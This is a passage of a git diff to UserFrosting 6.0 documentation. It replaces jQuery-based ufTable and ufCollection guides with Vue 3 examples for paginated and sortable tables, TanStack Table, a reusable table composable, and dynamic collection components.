-        <h3 class="box-title pull-left"><i class="fa fa-fw fa-user"></i> Members</h3>
-        {% include "tables/table-tool-menu.html.twig" %}
-    </div>
-    <div class="box-body">
-        {% include "tables/users-custom.html.twig" with {
-                "table" : {
-                    "id" : "table-members"
-                }
-            }
-        %}
-    </div>
-    <div class="box-footer">
-        <button type="button" class="btn btn-success js-member-create">
-            <i class="fa fa-plus-square"></i>  Create member
-        </button>
+    <!-- Pagination -->
+    <div class="uk-flex uk-flex-between">
+      <button
+        @click="previousPage"
+        :disabled="currentPage === 1"
+        class="uk-button uk-button-default"
+      >
+        Previous
+      </button>
+      <span>Page {{ currentPage }} of {{ totalPages }}</span>
+      <button
+        @click="nextPage"
+        :disabled="currentPage === totalPages"
+        class="uk-button uk-button-default"
+      >
+        Next
+      </button>
     </div>
-</div>
-```
-
-This example shows an AdminLTE "box" component being used to display our table, but you don't have to use the box component to use `ufTable`. The important thing is that we've wrapped our table and all related controls (table tool menu, buttons, etc) inside a single wrapper element (the `myUserTable` div).
-
-In your page Javascript, initialize `ufTable` **on your wrapper element**:
-
-```js
-$("#myUserTable").ufTable({
-    dataUrl: site.uri.public + "/api/owls"
-});
-```
-
-Where the only parameter is a JSON object containing the configuration options for your table. **Most importantly, be sure to specify the `dataUrl` option so that `ufTable` knows where to get the table data from!**
-
-### Additional table controls
-
-All of these controls come pre-implemented in UserFrosting, but you are welcome to override and customize them in your own table templates if necessary.
-
-#### Download button
-
-Any button with the `.js-uf-table-download` class inside your wrapper is bound to trigger an AJAX request for downloading the table in CSV format.
-
-This is implemented by default in the table tool menu, in `tables/table-tool-menu.html.twig`.
-
-![Table tool menu](images/table-tools.png)
+  </div>
+</template>
 
-#### Column selectors
+<script setup lang="ts">
+import { ref, computed, onMounted } from 'vue'
+import axios from 'axios'
 
-`ufTable` will generate a list of checkboxes for manually hiding/showing table columns in any container element with the `js-uf-table-cs-options` class. This is implemented by default in the table tool menu, in `tables/table-tool-menu.html.twig`.
-
-#### Global search
-
-In mobile views, `ufTable` will hide the per-column filters and display a global search field instead. This field should be inside a container with the `js-uf-table-search` class.
-
-When a global search is performed, `ufTable` will send the search query to your data API for a field with the name `_all`. By default, Sprunjes implement a `filterAll` method which searches all filterable fields, but of course you may override this method in your own Sprunje.
-
-This global search field is implemented by default for you in `tables/table-paginated.html.twig`.
+interface User {
+  id: number
+  name: string
+  email: string
+}
 
-#### Table info
+const users = ref<User[]>([])
+const searchQuery = ref('')
+const sortKey = ref<keyof User>('name')
+const sortOrder = ref<'asc' | 'desc'>('asc')
+const currentPage = ref(1)
+const perPage = 10
+
+// Fetch data
+onMounted(async () => {
+  const response = await axios.get('/api/users')
+  users.value = response.data
+})
+
+// Filtering
+const filteredUsers = computed(() => {
+  let filtered = users.value
+
+  // Search filter
+  if (searchQuery.value) {
+    filtered = filtered.filter(user =>
+      user.name.toLowerCase().includes(searchQuery.value.toLowerCase()) ||
+      user.email.toLowerCase().includes(searchQuery.value.toLowerCase())
+    )
+  }
+
+  // Sort
+  filtered = [...filtered].sort((a, b) => {
+    const aVal = a[sortKey.value]
+    const bVal = b[sortKey.value]
+    const modifier = sortOrder.value === 'asc' ? 1 : -1
+    return aVal < bVal ? -modifier : modifier
+  })
+
+  // Pagination
+  const start = (currentPage.value - 1) * perPage
+  return filtered.slice(start, start + perPage)
+})
+
+const totalPages = computed(() =>
+  Math.ceil(users.value.length / perPage)
+)
+
+function sort(key: keyof User) {
+  if (sortKey.value === key) {
+    sortOrder.value = sortOrder.value === 'asc' ? 'desc' : 'asc'
+  } else {
+    sortKey.value = key
+    sortOrder.value = 'asc'
+  }
+}
 
-When `ufTable` can't find any rows for the table (subject to the filter constraints), it will display a "No results" message in a container with the `js-uf-table-info` class. This container is implemented by default for you in `tables/table-paginated.html.twig`.
+function previousPage() {
+  if (currentPage.value > 1) currentPage.value--
+}
 
-#### Pager controls
+function nextPage() {
+  if (currentPage.value < totalPages.value) currentPage.value++
+}
 
-The table page controls (next page, previous page, jump to page, etc) are implemented inside a container with the `js-uf-table-pager` class. This container is implemented by default for you in `tables/table-paginated.html.twig`.
+function editUser(user: User) {
+  console.log('Edit:', user)
+}
+</script>
+```
 
-## Options
+## Server-Side Tables (Sprunjes)
 
-The following options can be used when you initialize `ufTable` on the wrapper element.
+For large datasets, fetch data from the server with pagination/sorting:
 
-```js
-$("#myUserTable").ufTable({
-    ...
-});
-```
+```vue
+<script setup lang="ts">
+import { ref, watch, onMounted } from 'vue'
+import axios from 'axios'
 
-### dataUrl
-
-The absolute url for the table's AJAX data source. `ufTable` expects the data source to use the Sprunje API. Thus, it should be able to understand the API for [Sprunje requests](database/data-sprunjing#sprunje-parameters), and return data in the Sprunje response format:
-
-```json
-{
-    "count": 2,
-    "count_filtered": 2,
-    "rows": [
-        {
-            "id": 11,
-            "species": "Bubo scandiacus",
-            "description": "Snowy owls are native to Arctic regions in North America and Eurasia. Males are almost all white, while females have more flecks of black plumage. Juvenile snowy owls have black feathers until they turn white. The snowy owl is a ground nester that predominantly hunts rodents."
-        },
-        {
-            "id": 8,
-            "species": "Megascops asio",
-            "description": "This species is native to most wooded environments of its distribution and, more so than any other owl in its range, has adapted well to manmade development, although it frequently avoids detection due to its strictly nocturnal habits."
-        }
-    ]
+interface TableData {
+  rows: any[]
+  count: number
+  count_filtered: number
 }
-```
 
-### msgTarget
-
-If `ufTable` receives an error from the server when it attempts to retrieve row data, it will automatically retrieve any error messages from the [alert stream](routes-and-controllers/alert-stream) and render them on the page. `msgTarget` allows you to specify an element of the DOM where `ufTable` should display these messages.
-
-Internally, `ufTable` will set up a `ufAlerts` widget to fetch and render the alert stream messages.
-
-If `msgTarget` is not specified, `ufTable` will look for an element on the page with an `id` of `#alerts-page` by default.
-
-### tablesorter
-
-An object containing tablesorter's [configuration options](https://mottie.github.io/tablesorter/docs/#Configuration). The default values for this object are:
-
-```json
-{
-    debug: false,
-    theme     : 'bootstrap',
-    widthFixed: true,
-    // See https://mottie.github.io/tablesorter/docs/example-pager-ajax.html
-    widgets: ['saveSort', 'sort2Hash', 'filter', 'pager', 'columnSelector', 'reflow2'],
-    widgetOptions : {
-        columnSelector_layout : '<label><input type="checkbox"> <span>{name}</span></label>',
-        filter_cssFilter: 'form-control',
-        filter_saveFilters : true,
-        filter_serversideFiltering : true,
-        filter_selectSource : {
-            '.filter-select' : function() { return null; }
-        },
-
-        // apply disabled classname to the pager arrows when the rows at either extreme is visible
-        pager_updateArrows: true,
-
-        // starting page of the pager (zero based index)
-        pager_startPage: 0,
-
-        // Number of visible rows
-        pager_size: 10,
-
-        // Save pager page & size if the storage script is loaded (requires $.tablesorter.storage in jquery.tablesorter.widgets.js)
-        pager_savePages: true,
-
-        // if true, the table will remain the same height no matter how many records are displayed. The space is made up by an empty
-        // table row set to a height to compensate; default is false
-        pager_fixedHeight: false,
-
-        // remove rows from the table to speed up the sort of large tables.
-        // setting this to false, only hides the non-visible rows; needed if you plan to add/remove rows with the pager enabled.
-        pager_removeRows: false, // removing rows in larger tables speeds up the sort
-
-        // target the pager markup - see the HTML block below
-        pager_css: {
-            errorRow    : 'uf-table-error-row', // error information row
-            disabled    : 'disabled' // Note there is no period "." in front of this class name
-        },
-
-        // Must be initialized with a 'data' key
-        pager_ajaxObject: {
-            data: {},
-            dataType: 'json'
-        },
-        // jQuery selectors
-        pager_selectors: {
-          container   : '.pager',       // target the pager markup (wrapper)
-          first       : '.first',       // go to first page arrow
-          prev        : '.prev',        // previous page arrow
-          next        : '.next',        // next page arrow
-          last        : '.last',        // go to last page arrow
-          gotoPage    : '.gotoPage',    // go to page selector - select dropdown that sets the current page
-          pageDisplay : '.pagedisplay', // location of where the "output" is displayed
-          pageSize    : '.pagesize'     // page size selector - select dropdown that sets the "size" option
-        },
-
-        // hash prefix
-        sort2Hash_hash              : '#',
-        // don't '#' or '=' here
-        sort2Hash_separator         : '|',
-        // this option > table ID > table index on page
-        sort2Hash_tableId           : null,
-        // if true, show header cell text instead of a zero-based column index
-        sort2Hash_headerTextAttr    : 'data-column-name',
-        // direction text shown in the URL e.g. [ 'asc', 'desc' ]
-        sort2Hash_directionText     : [ 'asc', 'desc' ], // default values
-        // if true, override saveSort widget sort, if used & stored sort is available
-        sort2Hash_overrideSaveSort  : true, // default = false
-    }
+const data = ref<any[]>([])
+const loading = ref(false)
+const totalRecords = ref(0)
+
+// Table state
+const page = ref(1)
+const perPage = ref(25)
+const sortField = ref('name')
+const sortDirection = ref<'asc' | 'desc'>('asc')
+const filters = ref<Record<string, string>>({})
+
+// Fetch data when params change
+watch([page, perPage, sortField, sortDirection, filters], fetchData, { deep: true })
+
+onMounted(fetchData)
+
+async function fetchData() {
+  loading.value = true
+
+  try {
+    const response = await axios.get<TableData>('/api/users', {
+      params: {
+        page: page.value,
+        size: perPage.value,
+        sorts: { [sortField.value]: sortDirection.value },
+        filters: filters.value
+      }
+    })
+
+    data.value = response.data.rows
+    totalRecords.value = response.data.count_filtered
+  } finally {
+    loading.value = false
+  }
 }
+</script>
 ```
 
-### addParams
-
-An object containing any additional key-value pairs that you want appended to the AJAX requests made by the table. Useful when implementing, for example, site-wide filters or using data sources that require additional context.
+## Using TanStack Vue Table
 
-When sending an AJAX request to a Sprunje, there are some hoops to jump through:
-1. Remember that sprunjes only accept [certain parameters](database/data-sprunjing#sprunje-parameters). If, for instance, you want to filter by "UserID" that's set outside of the table, you'll need to pass `filters[UserID]` in the AJAX request rather than simply `UserID`.
-2. Additionally, sprunjes only accept [whitelisted fields](database/data-sprunjing#sorts-and-filters), so you'll need to ensure that `UserID` is in the appropriate array in the sprunje--in this case, `$filterable`.
-3. Optional: Unless you're hardcoding the parameter value, you may need to [export it to JS](client-side-code/exporting-variables).
+For advanced features, use [TanStack Table](https://tanstack.com/table/v8):
 
-In this Javascript sample, we've already asked the user for a Genus name and exported it to the variable `page.owl.genus`.
-```javascript
-$("#myUserTable").ufTable({
-    dataUrl: site.uri.public + "/api/owls",
-    addParams: {"filters[species]" : page.owl.genus}
-});
+```bash
+npm install @tanstack/vue-table
 ```
 
-### filterAllField
-
-The special filter name that should be sent in AJAX requests when a global search (as opposed to column-specific searches) is performed. Defaults to `_all`.
-
-### useLoadingTransition
-
-Specify whether to display a loading transition overlay on the table while waiting for rows to be retrieved and rendered. Defaults to `true`.
-
-### columnTemplates
-
-Specify the templates used to render the cells of each column, by mapping each column name to either a reference to a `<script>` tag that contains a Handlebars template, or a or callback function. Defaults to using the references in the `data-column-template` attributes of each table column header. See the [column headers section](#data-column-template) for more information on how this works.
-
-> [!IMPORTANT]
-> Every column must have a corresponding template, defined either in `columnTemplates` or in your table headers' `data-column-template` attributes.
-
-### rowTemplate
-
-Specify a custom template for rendering the opening `<tr>` tag of each row. If set to `null` (default), `ufTable` will simply render a plain `<tr>` tag. If passed a string, it will attempt to resolve a reference to a `<script>` tag containing a Handlebars template. If passed a callback, it will simply use that callback to render your `<tr>` tag.
-
-For example:
+```vue
+<script setup lang="ts" generic="TData extends Record<string, any>">
+import {
+  useVueTable,
+  getCoreRowModel,
+  getSortedRowModel,
+  getFilteredRowModel,
+  getPaginationRowModel,
+  flexRender,
+  type ColumnDef
+} from '@tanstack/vue-table'
+import { ref } from 'vue'
+
+interface User {
+  id: number
+  name: string
+  email: string
+  role: string
+}
 
-```js
-$('#widget-users').ufTable({
-    dataUrl: site.uri.public + '/api/users',
-    rowTemplate: function (params) {
-        if ((params.rownum % 2) == 0) {
-            return "<tr style='color: red'>";
-        }
-        return "<tr>";
+const data = ref<User[]>([
+  { id: 1, name: 'Alice', email: 'alice@example.com', role: 'Admin' },
+  { id: 2, name: 'Bob', email: 'bob@example.com', role: 'User' },
+])
+
+const columns: ColumnDef<User>[] = [
+  {
+    accessorKey: 'name',
+    header: 'Name',
+  },
+  {
+    accessorKey: 'email',
+    header: 'Email',
+  },
+  {
+    accessorKey: 'role',
+    header: 'Role',
+  },
+  {
+    id: 'actions',
+    cell: ({ row }) => {
+      return h('button', {
+        onClick: () => console.log('Edit', row.original)
+      }, 'Edit')
     }
-});
-```
-
-Or alternatively, using a Handlebars template:
+  }
+]
+
+const table = useVueTable({
+  get data() { return data.value },
+  columns,
+  getCoreRowModel: getCoreRowModel(),
+  getSortedRowModel: getSortedRowModel(),
+  getFilteredRowModel: getFilteredRowModel(),
+  getPaginationRowModel: getPaginationRowModel(),
+})
+</script>
 
-```js
-$('#widget-users').ufTable({
-    dataUrl: site.uri.public + '/api/users',
-    rowTemplate: '#user-table-row'
-});
+<template>
+  <table class="uk-table">
+    <thead>
+      <tr v-for="headerGroup in table.getHeaderGroups()" :key="headerGroup.id">
+        <th v-for="header in headerGroup.headers" :key="header.id">
+          <div @click="header.column.getToggleSortingHandler()?.($event)">
+            <component
+              :is="flexRender(header.column.columnDef.header, header.getContext())"
+            />
+          </div>
+        </th>
+      </tr>
+    </thead>
+    <tbody>
+      <tr v-for="row in table.getRowModel().rows" :key="row.id">
+        <td v-for="cell in row.getVisibleCells()" :key="cell.id">
+          <component :is="flexRender(cell.column.columnDef.cell, cell.getContext())" />
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</template>
 ```
 
-with a corresponding template:
-
-```html
-<script id="user-table-row" type="text/x-handlebars-template">
-    {{#ifx (calc rownum '%' 2) '==' 0}}
-        <tr style="background-color: red">
-    {{ else }}
-        <tr>
-    {{/ifx}}
-</script>
+## Reusable Table Composable
+
+```typescript
+// composables/useTable.ts
+import { ref, computed, Ref } from 'vue'
+
+export function useTable<T extends Record<string, any>>(
+  fetchFn: (params: any) => Promise<{ data: T[], total: number }>
+) {
+  const data: Ref<T[]> = ref([])
+  const loading = ref(false)
+  const total = ref(0)
+
+  const page = ref(1)
+  const perPage = ref(25)
+  const sortKey = ref<keyof T | ''>('')
+  const sortOrder = ref<'asc' | 'desc'>('asc')
+  const search = ref('')
+
+  const totalPages = computed(() => Math.ceil(total.value / perPage.value))
+
+  async function fetch() {
+    loading.value = true
+    try {
+      const result = await fetchFn({
+        page: page.value,
+        perPage: perPage.value,
+        sortKey: sortKey.value,
+        sortOrder: sortOrder.value,
+        search: search.value
+      })
+      data.value = result.data
+      total.value = result.total
+    } finally {
+      loading.value = false
+    }
+  }
+
+  function sort(key: keyof T) {
+    if (sortKey.value === key) {
+      sortOrder.value = sortOrder.value === 'asc' ? 'desc' : 'asc'
+    } else {
+      sortKey.value = key
+      sortOrder.value = 'asc'
+    }
+    fetch()
+  }
+
+  return {
+    data,
+    loading,
+    total,
+    totalPages,
+    page,
+    perPage,
+    search,
+    fetch,
+    sort
+  }
+}
 ```
 
-### download.button
-
-A jQuery selector that corresponds to the "download table" button. Defaults to any matching `$('.js-uf-table-download')` elements in the table container.
-
-### download.callback
-
-Specify a custom callback function to perform the table download.
-
-### info.container
-
-A jQuery selector that corresponds to the [table info](#table-info) container. Defaults to any matching `$('.js-uf-table-info')` elements in the table container.
-
-### info.callback
-
-Specify a custom callback function to render table info messages.
-
-### info.messageEmptyRows
-
-Specify the message to be displayed in the info container when no matching records were found. Defaults to the `data-message-empty-rows` atttribute of the info container. If `data-message-empty-rows` is not specified, defaults to "Sorry, we've got nothing here."
-
-### overlay.container
-
-A jQuery selector that corresponds to the table overlay container, which will be displayed while the table is retrieving and rendering rows. Defaults to any matching `$('.js-uf-table-overlay')` elements in the table container.
-
-## Events
+## What's Next?
 
-`ufTable` triggers the following events:
+- **[Forms](client-side-code/components/forms)**: Create and edit table data
+- **[Collections](client-side-code/components/collections)**: Manage dynamic lists
+- **[Alerts](client-side-code/components/alerts)**: Show operation feedback
 
-### pagerComplete.ufTable
+## Further Reading
 
-Triggered when the tablesorter pager plugin has completed rendering of the table.
-
-Of course, you can always bind handlers directly to [tablesorter's events](https://mottie.github.io/tablesorter/docs/#events) as well.
-
-## Methods
-
-### getTableStateVars(table)
-
-Fetches the current page size, page number, sort order, sort field, and column filters.
-
-### getSavedFilters(table)
-
-Get saved filters from the browser's local storage.
-
-### refresh
-
-Refreshes the table by re-querying the data URL with the current set of filters, sorts, etc. Usage: `$("#myUserTable").ufTable("refresh");`
-
-## Customizing the base template for your table
-
-If you don't want to use the default `table-paginated.html.twig` base template for your tables, you can create your own base template. Your template needs to have six things:
-
-- `{% block table_search %}`: Global search field for the table. By default, only shown in mobile sizes. To customize this behavior, see the media queries in `core/assets/userfrosting/css/userfrosting.css`.
-- `{% block table %}`: This is the Twig block where the table skeleton will go.
-- `{% block table_cell_templates %}`: This is the Twig block where cell templates will be placed.
-- `{% block table_info %}`: This is a container for displaying alternative messages, such as "no records found". The container element should have the `js-uf-table-info` class.
-- `{% block table_pager_controls %}`: A container for navigation controls for your table's pagination. The container element should have the `js-uf-table-pager` class.
-- `{% block table_overlay %}`: A container that implements the 'loading' overlay for tables. The overlay element should have the `js-uf-table-overlay` class.
-
-Your base template might end up looking something like:
-
-```html
-{% block table_search %}
-    <div class="form-group has-feedback uf-table-search js-uf-table-search">
-        <input type="search" class="form-control" data-column="all">
-        <i class="fa fa-search form-control-icon" aria-hidden="true"></i>
-    </div>
-{% endblock %}
-<div class="table overlay-wrapper">
-    {% block table %}
-        {# Define your table skeleton in this block in your child template #}
-    {% endblock %}
-
-    {% block table_cell_templates %}
-        {# Define your Handlebars cell templates in this block in your child template #}
-    {% endblock %}
-
-    {% block table_info %}
-        <div class="uf-table-info js-uf-table-info" data-message-empty-rows="{{translate('NO_RESULTS')}}">
-        </div>
-    {% endblock %}
-
-    {% block table_pager_controls %}
-        <div class="pager pager-lg tablesorter-pager js-uf-table-pager" data-output-template="{{translate('PAGINATION.OUTPUT')}}">
-            <span class="pager-control first" title="{{translate("PAGINATION.FIRST")}}"><i class="fa fa-angle-double-left"></i></span>
-            <span class="pager-control prev" title="{{translate("PAGINATION.PREVIOUS")}}"><i class="fa fa-angle-left"></i></span>
-            <span class="pagedisplay"></span> {# this can be any element, including an input #}
-            <span class="pager-control next" title="{{translate("PAGINATION.NEXT")}}"><i class="fa fa-angle-right"></i></span>
-            <span class="pager-control last" title= "{{translate("PAGINATION.LAST")}}"><i class="fa fa-angle-double-right"></i></span>
-            <br><br>
-            {{translate("PAGINATION.GOTO")}}: <select class="gotoPage"></select> &bull; {{translate("PAGINATION.SHOW")}}:
-            <select class="pagesize">
-            {% for count in pager.take|default([5, 10, 50, 100]) %}
-                <option value="{{count}}">{{count}}</option>
-            {% endfor %}
-            </select>
-        </div>
-    {% endblock %}
-
-    {% block table_overlay %}
-        {% if site.uf_table.use_loading_transition %}
-            <div class="overlay js-uf-table-overlay hidden">
-                <i class="fa fa-refresh fa-spin"></i>
-            </div>
-        {% endif %}
-    {% endblock %}
-</div>
-```
+- [TanStack Table Documentation](https://tanstack.com/table/v8)
+- [UIkit Tables](https://getuikit.com/docs/table)
+- [Data Sprunjing](database/data-sprunjing)
diff --git a/app/pages/6.0/15.client-side-code/04.components/03.collections/docs.md b/app/pages/6.0/15.client-side-code/04.components/03.collections/docs.md
index 9348d90d..26f142f7 100644
--- a/app/pages/6.0/15.client-side-code/04.components/03.collections/docs.md
+++ b/app/pages/6.0/15.client-side-code/04.components/03.collections/docs.md
@@ -1,732 +1,533 @@
 ---
-title: Collections
-description: The ufCollection widget provides a convenient interface for associating related or child entities with a single parent entity.
-obsolete: true
+title: Managing Collections with Vue 3
+description: Build dynamic lists and collections with Vue 3 for adding, removing, and editing items
+wip: true
 ---
 
-{% do assets.addCss('theme://css/select2.min.css') %}
-{% do assets.addCss('theme://css/uf-collection.css') %}
+Collections allow users to manage dynamic lists of items—like adding multiple phone numbers to a contact or assigning multiple roles to a user. Vue 3's reactivity makes managing collections straightforward and intuitive.
 
-{% do assets.addJs('theme://handlebars/handlebars.js') %}
-{% do assets.addJs('theme://js/select2.full.min.js') %}
-{% do assets.addJs('theme://jquery.inputmask/dist/inputmask/inputmask.js') %}
-{% do assets.addJs('theme://jquery.inputmask/dist/inputmask/inputmask.extensions.js') %}
-{% do assets.addJs('theme://jquery.inputmask/dist/inputmask/jquery.inputmask.js') %}
-{% do assets.addJs('theme://jquery.inputmask/dist/inputmask/bindings/inputmask.binding.js') %}
-
-{% do assets.addJs('theme://js/attrchange.js') %}
-{% do assets.addJs('theme://js/uf-collection.js') %}
-{% do assets.addJs('theme://js/serialize-controls.js') %}
-{% do assets.addJs('theme://js/example-collection.js') %}
-
-The `ufCollection` widget provides a convenient interface for associating related or child entities with a single parent entity. For example, you might want to associate a user account with one or more roles, or add multiple phone numbers or addresses to an employee.
-
-![ufCollection widget as used for the 'user role' management interface.](images/uf-collection.png)
-
-## Basic setup
+> [!NOTE]
+> [TODO: Screenshot] - Collection interface with add/remove buttons
+
+## Basic Collection Component
+
+Here's a simple component for managing a list of items:
+
+```vue
+<template>
+  <div class="collection">
+    <h3>{{ title }}</h3>
+
+    <!-- List of items -->
+    <div v-for="(item, index) in items" :key="item.id" class="collection-item">
+      <div class="uk-grid-small" uk-grid>
+        <div class="uk-width-expand">
+          <input
+            v-model="item.value"
+            type="text"
+            class="uk-input"
+            :placeholder="placeholder"
+          />
+        </div>
+        <div class="uk-width-auto">
+          <button
+            @click="removeItem(index)"
+            class="uk-button uk-button-danger uk-button-small"
+          >
+            <span uk-icon="trash"></span>
+          </button>
+        </div>
+      </div>
+    </div>
 
-To use `ufCollection`, you need to have `userfrosting/js/uf-collection.js` and `userfrosting/css/uf-collection.css` included in your page assets. The easiest way to do this is by including the `js/form-widgets` and `css/form-widgets` [asset bundles](asset-management/asset-bundles) in your page. Most of the default administrative pages include these bundles by default in their `stylesheets_page` and `scripts_page` Twig blocks. Of course, feel free to include the required JS and CSS files in your page-specific asset bundles instead, if you prefer.
+    <!-- Add button -->
+    <button @click="addItem" class="uk-button uk-button-default uk-margin-top">
+      <span uk-icon="plus"></span> Add {{ itemName }}
+    </button>
+  </div>
+</template>
 
-The basic markup for a collection widget consists of a table "skeleton" wrapped inside some sort of container element. For example:
+<script setup lang="ts">
+import { ref } from 'vue'
 
-```html
-<div id="member-phones">
-    <label>Phone numbers</label>
-    <table class="table table-striped">
-        <tbody>
-        </tbody>
-    </table>
-</div>
-```
+interface CollectionItem {
+  id: number
+  value: string
+}
 
-### Table rows
+interface Props {
+  title: string
+  itemName?: string
+  placeholder?: string
+  initialItems?: CollectionItem[]
+}
 
-You'll notice that the table skeleton contains an empty `tbody` element. By default, when a new row is added (by the client or programmatically), `ufCollection` will insert the new row inside this `tbody`.
+const props = withDefaults(defineProps<Props>(), {
+  itemName: 'Item',
+  placeholder: 'Enter value...',
+  initialItems: () => []
+})
+
+const emit = defineEmits<{
+  change: [items: CollectionItem[]]
+}>()
+
+const items = ref<CollectionItem[]>([...props.initialItems])
+let nextId = items.value.length + 1
+
+function addItem() {
+  items.value.push({
+    id: nextId++,
+    value: ''
+  })
+  emit('change', items.value)
+}
 
-The markup for the rows themselves is dynamically generated using a [Handlebars template](client-side-code/client-side-templating). The row template can be embedded inside your page's Twig template using the Twig `{{ '{% verbatim %}' }}` tag. It might look something like:
+function removeItem(index: number) {
+  items.value.splice(index, 1)
+  emit('change', items.value)
+}
 
-```
-{{ '{% verbatim %}' }}
-<script id="member-phones-row" type="text/x-handlebars-template">
-    <tr class="uf-collection-row">
-        <td>
-            <div class="input-group">
-                <span class="input-group-addon"><i class="fa fa-phone fa-fw"></i></span>
-                <input type="hidden" name="phones[{{ rownum }}][id]" value="{{id}}">
-                <input type="text" class="form-control" name="phones[{{ rownum }}][label]" value="{{label}}" placeholder="Label">
-            </div>
-        </td>
-        <td>
-            <input type="text" class="form-control" name="phones[{{ rownum }}][number]" value="{{number}}" placeholder="Number">
-        </td>
-        <td>
-            <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-        </td>
-    </tr>
+// Expose items for parent component
+defineExpose({
+  items
+})
 </script>
-{{ '{% endverbatim %}' }}
-```
 
-Some important features of the row template:
-
-- The template should contain a single `tr` element with the `uf-collection-row` class.
-- The last column of your row should be a "delete" button, allowing the user to remove associations. You may style this button however you like, but it needs to have the `js-delete-row` class for `ufCollection` to bind the delete event.
-- The user can add additional information to each row via additional controls (`input`, `select`, etc).
-- You should have a hidden `input` control in each row, that contains the `id` for the element associated with that row.
-- We recommend submitting the entire collection under a single top-level `name` attribute. You can then use the `rownum` placeholder to index the elements of this key, and under that, the individual properties of the row.
-
-For example, the submitted data from this collection might end up looking something like:
-
-```json
-    "phones": [
-        {
-            "id": 17,
-            "label": "primary",
-            "number": "5555551212"
-        },
-        {
-            "id": "",
-            "label": "mobile",
-            "number": "1233219999"
-        }
-    ]
+<style scoped>
+.collection-item {
+  margin-bottom: 10px;
+}
+</style>
 ```
 
-## Usage
-
-`ufCollection` can be used to provide an interface for manipulating two types of relationships - one-to-many, and many-to-many.
+**Usage**:
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import Collection from './components/Collection.vue'
 
-For **one-to-many** relationships, the client can directly create, modify, and delete entities that should be associated with exactly one parent entity. For example, a user can have multiple phone numbers, but they only belong to that one user - users do not "share" the same phone number.
+const phoneNumbers = ref([
+  { id: 1, value: '555-1234' },
+  { id: 2, value: '555-5678' }
+])
 
-In a **many-to-many** relationship, the client selects pre-existing entities to match up to the parent entity. These entities might be shared with other parent entities as well - thus the "many to many". There might be some additional data associated with the relationship (so called "pivot data") that the client can add, but the related entity itself is shared. For example, a member can have the same model of car as other members, but the specific VIN of their particular car would be unique to them. Thus, they might preselect their model ("Mazda 3") from a dropdown, and then enter in their VIN as pivot data.
-
-### One-to-many
-
-In one-to-many mode, users directly enter data into controls in each row. For this reason, we sometimes refer to this as "free text" mode.
-
-To initialize a one-to-many collection widget, call the `ufCollection` method on your container element:
+function handleChange(items) {
+  console.log('Items changed:', items)
+}
+</script>
 
-```js
-$('#member-phones').ufCollection({
-    useDropdown: false,
-    rowTemplate: $('#member-phones-row').html()
-});
+<template>
+  <Collection
+    title="Phone Numbers"
+    item-name="Phone Number"
+    placeholder="Enter phone number"
+    :initial-items="phoneNumbers"
+    @change="handleChange"
+  />
+</template>
 ```
 
-Notice that we have set `useDropdown` to `false`. When this is set to false, `ufCollection` will automatically add a new empty row below the last row that has been "touched". A row is "touched" whenever it is brought into focus, or when it is programmatically added using the `addRow` method. Thus, this ensures that the user can always add another row of information without needing to click an "add" button. Try the live demo below:
-
-<div id="example-phones">
-    <div style="float: left;">
-        <label>Phone numbers</label>
-        <div>
-            <table class="table-striped">
-                <tbody>
-                </tbody>
-            </table>
+## Complex Collection Items
+
+For more complex items with multiple fields:
+
+```vue
+<template>
+  <div class="role-collection">
+    <h3>User Roles</h3>
+
+    <div v-for="(role, index) in roles" :key="role.id" class="uk-card uk-card-default uk-card-body uk-margin-small">
+      <div class="uk-grid-small" uk-grid>
+        <!-- Role Selection -->
+        <div class="uk-width-1-2">
+          <label class="uk-form-label">Role</label>
+          <select v-model="role.role_id" class="uk-select">
+            <option v-for="r in availableRoles" :key="r.id" :value="r.id">
+              {{ r.name }}
+            </option>
+          </select>
         </div>
-    </div>
-    <div class="example-output">
-        <label>Data received by server:</label>
-        <pre>
-            <code>
-            </code>
-        </pre>
-    </div>
-    <div style="clear: both;"></div>
-</div>
 
-{% verbatim %}
-<script id="collection-phones-row" type="text/x-handlebars-template">
-    <tr class="uf-collection-row">
-        <td>
-            <div class="input-group">
-                <input type="hidden" name="phones[{{ rownum }}][id]" value="{{id}}">
-                <input type="text" class="form-control" name="phones[{{ rownum }}][label]" value="{{label}}" placeholder="Label">
-            </div>
-        </td>
-        <td>
-            <input type="text" class="form-control js-input-phone" name="phones[{{ rownum }}][number]" data-inputmask="'mask': '(999) 999-9999', 'autoUnmask': true" data-mask autocomplete="off" value="{{number}}" placeholder="Number">
-        </td>
-        <td>
-            <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-        </td>
-    </tr>
-</script>
-{% endverbatim %}
-
-#### Server-side processing
-
-Let's assume that your `ufCollection` widget is part of a form that you will submit to the server for processing, and that you want to update the related entities in the database. If you used the naming scheme for your row controls as suggested in the [setup section](#table-rows), the rendered collection table might end up looking something like:
-
-```html
-<tr class="uf-collection-row">
-    <td>
-        <div class="input-group">
-            <span class="input-group-addon"><i class="fa fa-phone fa-fw"></i></span>
-            <input type="hidden" name="phones[0][id]" value="17">
-            <input type="text" class="form-control" name="phones[0][label]" value="primary" placeholder="Label">
+        <!-- Start Date -->
+        <div class="uk-width-1-4">
+          <label class="uk-form-label">Start Date</label>
+          <input
+            v-model="role.start_date"
+            type="date"
+            class="uk-input"
+          />
         </div>
-    </td>
-    <td>
-        <input type="text" class="form-control" name="phones[0][number]" value="5555551212" placeholder="Number">
-    </td>
-    <td>
-        <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-    </td>
-</tr>
-<tr class="uf-collection-row">
-    <td>
-        <div class="input-group">
-            <span class="input-group-addon"><i class="fa fa-phone fa-fw"></i></span>
-            <input type="hidden" name="phones[1][id]" value="">
-            <input type="text" class="form-control" name="phones[1][label]" value="mobile" placeholder="Label">
-        </div>
-    </td>
-    <td>
-        <input type="text" class="form-control" name="phones[1][number]" value="1233219999" placeholder="Number">
-    </td>
-    <td>
-        <button type="button" class="btn btn-link btn-trash js-delete-row pull-right" title="Delete"> <i class="fa fa-trash"></i> </button>
-    </td>
-</tr>
-```
 
-The data submitted to the server will then end up looking like:
-
-```
-phones[0][id]: "17"
-phones[0][label]: "primary"
-phones[0][number]: "5555551212"
-phones[1][id]: ""
-phones[1][label]: "mobile"
-phones[1][number]: "1233219999"
-```
-
-This is an easy format for the server to process, because PHP will automatically convert this into a multidimensional array:
-
-```php
